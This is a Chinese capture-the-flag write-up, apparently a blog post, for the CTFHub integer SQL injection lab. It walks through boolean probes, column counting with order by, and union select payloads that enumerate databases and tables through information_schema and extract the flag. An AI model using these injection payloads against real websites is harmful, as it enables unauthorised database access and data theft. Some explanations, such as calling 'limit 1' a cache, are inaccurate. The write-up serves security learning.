【SQL注入】整数型注入

题目:CTFHUB整数型注入
在这里插入图片描述

输入

1
2
3

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

“select * from news where id=1”:
在名字为“news”的表中查询id为1的数据
输入

1‘#

在这里插入图片描述1'#中:'单引号让字符型查询语句闭合,#将之后的语句注释掉。若为字符型查询语句应为select * from news where id='1'#',应有回显。此处无回显,可以判断为整数型注入。

输入

1 and 1=1

1 and 1=2

得到
在这里插入图片描述
在这里插入图片描述在and 1=1判断为真时执行了查询并回显,and 1=2判断为假时无回显
说明在查询完“id=1”之后执行了and及其之后的语句,存在SQL注入漏洞

输入

1 order by 2
1 order by 3

得到
在这里插入图片描述在这里插入图片描述
order by:用于对结果集按照一个列或者多个列进行排序(默认升序ASC)

SELECT column_name,column_name
FROM table_name
ORDER BY column_name,column_name ASC|DESC;

order by 1,2,3中,“1”和“2”并不是列名,而是按照列表的“第一列”“第二列”进行排序(默认ASC)
此处我们并不关心回显是什么,即排序于我们是无所谓的,我们写这句话的目的是得到这个表的列数
现在我们可以知道这张表长这个样
— + ---------+
| id | name |
— + ----------+
| 1 |CTFHUB|
— + ---------+
| 2 | skill |
—+ ----------+
使用联合注入

-1 union select 1,2

union合并两个或多个 SELECT 语句的结果。

SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;

UNION 内部的每个 SELECT 语句必须拥有相同数量的列。

这就是为什么我们要在前面使用roder by语句去得到这个表的列数

我们使用了union,但是只希望得到之后select 1,2的结果,所以前一句为select * from news where id=-1,查询无果,不会有回显。

select 1,2并且1,2并不是真实存在于这个表中时:1,2会按照的顺序依次输出

得到
在这里插入图片描述

输入

-1 union select 1,group_concat(schema_name) from information_schema.schemata 

group_concat(schema_name)

schema_name

Returns the schema name associated with a schema ID.

schema:数据库对象(表,索引,视图,存储过程等)的集合

group_concat()

该函数返回带有来自一个组的连接的非NULL值的字符串结果。

就是把查询到的数据库名用逗号连接起来组成一个字符串

得到
在这里插入图片描述构造

-1 union select 1,database()

在这里插入图片描述得到当前数据库名sqli
继续构造

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' limit 1

table_name表名
information_schema信息数据库

提供当前项目的元数据视图,不支持跨项目的元数据访问。

是一个存放了当前数据库管理系统中所有数据库信息的一个数据库,数据库只能进行读取,不支持修改(增、删、改)

table_schema数据库名称
limit 1将查询结果一级缓存,即查询到一条数据后就不再继续查询,特定情况下提高查询效率
得到
在这里插入图片描述得知在“sqli”数据库下有两张表,分别名为“flag”和“news”
继续构造

-1 union select 1,group_concat(flag) from sqli.flag	limit 1

在“sqli”数据库下的“flag”表中查询flag项,并限制结果一级缓存
得到
在这里插入图片描述
注入完毕,得到flag

  • 5
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值